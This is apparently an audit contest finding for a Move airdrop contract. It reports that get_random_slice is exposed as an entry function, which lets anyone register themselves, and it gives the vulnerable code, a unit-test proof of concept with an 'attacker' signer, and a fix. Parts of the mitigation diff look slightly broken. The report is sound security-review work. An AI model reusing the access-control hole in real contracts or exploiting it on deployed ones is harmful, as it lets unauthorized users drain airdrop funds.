Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Self-Registration via Public get_random_slice Entry Function

Root + Impact

Description

  • Normal behavior:
    Only the contract owner should be able to register users for the airdrop by calling register_pizza_lover. This ensures that participants are explicitly allowed by the owner.


  • Issue:
    The helper function get_random_slice was declared as an entry function, meaning anyone can call it directly. This lets any user self-register or register arbitrary addresses without the owner’s approval.

// Root cause in the codebase
#[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val;
@> table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • The function is marked entry, so anyone on-chain can invoke it.

  • Attackers don’t need privileges or prior registration.

Impact:

  • Attackers can bypass the owner-only registration logic.

  • Unauthorized users can join the airdrop, drain contract funds, or spam registrations.

Proof of Concept

// BUG TEST: Any user can self-register via `get_random_slice`
#[test(deployer = @pizza_drop, attacker = @0x999, framework = @0x1)]
fun test_self_register_bug(deployer: &signer, attacker: &signer, framework: &signer) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
use aptos_std::string;
use std::debug;
// Setup test env
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(attacker));
// Initialize pizza drop contract
init_module(deployer);
let attacker_addr = signer::address_of(attacker);
// === Exploit: attacker directly calls get_random_slice (no owner involved) ===
get_random_slice(attacker_addr);
// Verify attacker is now "registered"
assert!(is_registered(attacker_addr), 100);
let assigned_amount = get_claimed_amount(attacker_addr);
debug::print(&string::utf8(b"Attacker self-assigned amount: "));
debug::print(&assigned_amount);
assert!(assigned_amount > 0, 101);
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
debug::print(&string::utf8(b"=== BUG CONFIRMED: Attacker self-registered ==="));
}

Recommended Mitigation

The root cause was that get_random_slice was marked as entry, meaning external users could call it directly. By refactoring it into a private helper function (assign_random_slice), only other contract functions can use it.

Now, the only entry point is register_pizza_lover, which enforces the critical security check:

assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);

This means:

  1. Attackers cannot call randomness logic directly — they must go through the owner’s function.

  2. The allowlist is enforced — only the contract owner decides who gets registered.

  3. Future safety — randomness can still be used internally with #[randomness], but without exposing it as a public entry.

In short, we turned the randomness function into a non-entry helper and wrapped it with strict access control. This removes the self-registration vector completely.

- #[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
- let state = borrow_global_mut<State>(get_resource_address());
- let time = timestamp::now_microseconds();
- let random_val = time % 401;
- let random_amount = 100 + random_val;
- table::add(&mut state.users_claimed_amount, user_addr, random_amount);
- }
+ #[randomness]
+ fun assign_random_slice(state: &mut State, user_addr: address) {
+ let time = timestamp::now_microseconds();
+ let random_val = time % 401;
+ let random_amount = 100 + random_val;
+ table::add(state.users_claimed_amount, user_addr, random_amount);
+ }
+ public entry fun register_pizza_lover(owner: &signer, user: address) acquires State {
+ let state = borrow_global_mut<State>(get_resource_address());
+ assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
+ assign_random_slice(&mut state, user);
+ event::emit(PizzaLoverRegistered { user });
+ }
Updates

Appeal created

bube Lead Judge 12 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `get_random_slice` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.